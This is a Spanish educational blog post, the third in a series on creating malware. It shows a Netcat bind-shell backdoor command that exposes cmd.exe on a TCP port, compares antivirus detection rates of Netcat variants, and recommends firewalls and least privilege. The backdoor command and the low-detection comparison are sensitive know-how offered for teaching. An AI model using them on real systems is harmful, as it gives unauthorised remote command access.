¿Cómo crear malware? (parte 3)

En la entrega anterior analizamos la creación de un malware muy sencillo, codificado en Visual Basic Script (VBS). Ahora, vamos a analizar cómo podemos crear un backdoor utilizando una de las mejores herramientas de red.

La navaja suiza de la red

Netcat es una herramienta multiplataforma (Windows, GNU/Linux, MacOSX) de uso extremadamente sencillo que permite enviar y recibir datos a través de conexiones TCP. Se le atribuyen tantas utilizadas que se la conoce como “la navaja suiza de la red”.

 

Una de las funciones que le ha dado mayor fama a esta herramienta es la capacidad de conectar un puerto en escucha a un comando de sistema.

Por ejemplo, si conectamos el intérprete de comandos de Windows (“cmd.exe”) a un puerto TCP, obtendremos un backdoor totalmente funcional.

Para hacerlo, podemos ejecutar lo siguiente:

nc.exe -L -p 2020 -e cmd.exe

Hecho esto, podremos conectarnos a esta PC con el siguiente comando:

telnet 192.168.0.105 2020

(obviamente, reemplazando la dirección IP y el puerto como correspondan)

Con esto ya tendremos acceso remoto al intérprete de comandos de Windows.

 

Nota

Como veremos más adelante, existen muchas variantes de NetCat, cada una con sus diferentes opciones. Dependiendo de la variante que estemos utilizando, las opciones antes mencionadas pueden no ser las correctas. Este ejemplo se llevó a cabo con la versión que se incluye en:

www.portantier.com/proyectos/toolpack

Para conocer más acerca de netcat y las formas en las que podemos utilizarlo, recomiendo leer el artículo ‘el viejo y querido netcat’ ubicado en:

www.portantier.com/educacion/publicaciones

Un backdoor, muchos backdoors

Esta herramienta ha tenido tanto éxito que muchos desarrolladores han tomado su código fuente y le han realizado modificaciones, o reescrito completamente, haciendo que existan muchas versiones similares. Cada una con sus virtudes y defectos. Pero, para el propósito de este artículo, lo que más nos importa es:

 

¿Cómo afecta esto a las soluciones antimalware?

Analizando cinco variantes de NetCat a través del servicio VirusTotal, podemos observar lo siguiente:

Variante Detección % Detección
NetCat 26/42 61,90%
NCat 0/42 0%
Socat 2/42 4,76%
Mocat 14/42 33,33%
nc2 28/42 66,66%

 

El nivel de detección es relativamente bajo en todos los casos, pero extremadamente bajo en las variantes “NCat” y “Socat”.

Debemos tener en cuenta que esto no está mal, debido a que todas ellas son verdaderamente herramientas para el trabajo con redes y no son directamente un “malware”. Simplemente se les puede llegar a dar un uso malicioso (como sucede con muchas herramientas)

Defensa en Profundidad

Como podemos observar, la presencia de una solución antimalware poco tiene que hacer con un software que no es en su naturaleza malicioso, pero que ha sido configurado de forma tal que puede llegar a ocasionar algún daño.

Esa es una de las tantas razones por las cuales es recomendable implementar la metodología de ‘Defensa en Profundidad’, que se basa en la implementación de varias medidas de seguridad diferentes, para cubrir los posibles riesgos desde diferentes puntos de vista o accionares.

En este caso, la implementación de un firewall permite, sencillamente, bloquear este tipo de utilizaciones, al no permitir la recepción de conexiones entrantes.

Obviamente, sumada a la implementación del firewall, es altamente recomendable que la estación de trabajo sea utilizada sin permisos de administración. (Un administrador tendría permisos de modificar las reglas del firewall, lo que podría ser realizado de forma automática por el malware).

Acerca de la modificación de software y las firmas

Como ya hemos podido comprobar, la modificación de versiones de software y las compilaciones propias generan que se vuelve extremadamente difícil para los fabricantes de soluciones antimalware mantener una base de datos de firmas que cubra cualquier variante de un determinado archivo. Esa es una de las tantas razones por las que no podemos confiar ciegamente en nuestros antivirus!

Versiones de NetCat y derivados

NetCat 1.10
Incluído en: www.portantier.com/proyectos/toolpack

NCat
http://nmap.org/ncat

Socat
www.dest-unreach.org/socat

Mocat
www.csr-group.com/resources/mocat.html

nc2
http://www.radajo.com/2008/09/nc2-netcat-without-couple-of-annoyances.html

 

La ética ante todo

Ya sea a través de un seminario, un curso, un libro o este tipo de artículos, cuando enseño seguridad informática lo hago pensando en que estos conocimientos van a ser utilizados para mejorar la seguridad de los sistemas.

Obviamente, queda en la conciencia de cada individuo cómo utilizar los conocimientos aquí expuestos pero, debemos recordar, que un verdadero profesional de la seguridad nunca utiliza sus conocimientos para fines destructivos ni ilegales, si no para ayudar a sus pares a reducir los riesgos de ataques y pérdidas de datos.

En la próxima entrega

Esto ha sido todo por hoy. En la próxima entrega analizaremos las herramientas del tipo RAT (Remote Administration Tool) y su uso relacionado con el malware.

Hasta la próxima!

Fabian Portantier
Coordinador Carrera Seguridad Informática
www.portantier.com
twitter:
@portantier
Mail: seguridadinformatica@educacionit.com.ar
Web: www.educacionit.com.ar/carrera-seguridad-informatica

Un comentario en “¿Cómo crear malware? (parte 3)

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *